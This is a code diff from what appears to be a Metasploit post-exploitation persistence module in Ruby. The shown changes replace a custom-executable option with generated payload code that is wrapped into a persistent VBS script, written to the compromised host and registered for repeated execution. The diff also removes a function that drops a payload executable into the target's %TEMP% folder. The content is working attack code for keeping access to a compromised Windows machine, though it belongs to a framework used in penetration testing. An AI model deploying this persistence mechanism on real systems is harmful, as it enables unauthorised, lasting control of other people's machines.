@@ -59,28 +59,19 @@ def initialize(info={})
59
59
def exploit
60
60
print_status ( "Running module against #{ sysinfo [ 'Computer' ] } " )
61
61
62
- rexe = datastore [ 'EXE::Custom' ]
63
62
rexename = datastore [ 'REXENAME' ]
64
63
delay = datastore [ 'DELAY' ]
65
64
reg_val = datastore [ 'REG_NAME' ]
66
- template_pe = datastore [ 'EXE::Template' ]
67
65
@clean_up_rc = ""
68
66
host , port = session . session_host , session . session_port
69
67
70
- if rexe . nil?
71
- script = create_script ( delay , template_pe )
72
- script_on_target = write_script_to_target ( script , rexename )
73
- if script_on_target == nil
74
- # exit the module because we failed to write the file on the target host.
75
- return
76
- end
77
- else
78
- alt_pay_exe = get_custom_exe
79
- script_on_target = write_exe_to_target ( alt_pay_exe , rexename )
80
- if script_on_target == nil
81
- # exit the module because we failed to write the file on the target host.
82
- return
83
- end
68
+ exe = generate_payload_exe
69
+ script = ::Msf ::Util ::EXE . to_exe_vbs ( exe , { :persist => true , :delay => delay } )
70
+ script_on_target = write_script_to_target ( script , rexename )
71
+
72
+ if script_on_target == nil
73
+ # exit the module because we failed to write the file on the target host.
74
+ return
84
75
end
85
76
86
77
# Initial execution of script
@@ -228,27 +219,4 @@ def write_to_reg(key,script_on_target, registry_value)
228
219
end
229
220
end
230
221
231
- # Writesexecutable to target host
232
- #-------------------------------------------------------------------------------
233
- def write_exe_to_target ( exe_raw , rexename )
234
- if rexename . nil?
235
- exe_name = Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 )
236
- else
237
- exe_name = rexename
238
- end
239
-
240
- tempdir = session . fs . file . expand_path ( "%TEMP%" )
241
- tempexe = tempdir + "\\ " + exe_name + ".exe"
242
- begin
243
- fd = session . fs . file . new ( tempexe , "wb" )
244
- fd . write ( exe_raw )
245
- fd . close
246
- print_good ( "Persistent executable written to #{ tempexe } " )
247
- @clean_up_rc << "rm #{ tempexe } \n "
248
- rescue
249
- print_error ( "Failed to write the payload on the target." )
250
- tempexe = nil
251
- end
252
- return tempexe
253
- end
254
222
end
0 commit comments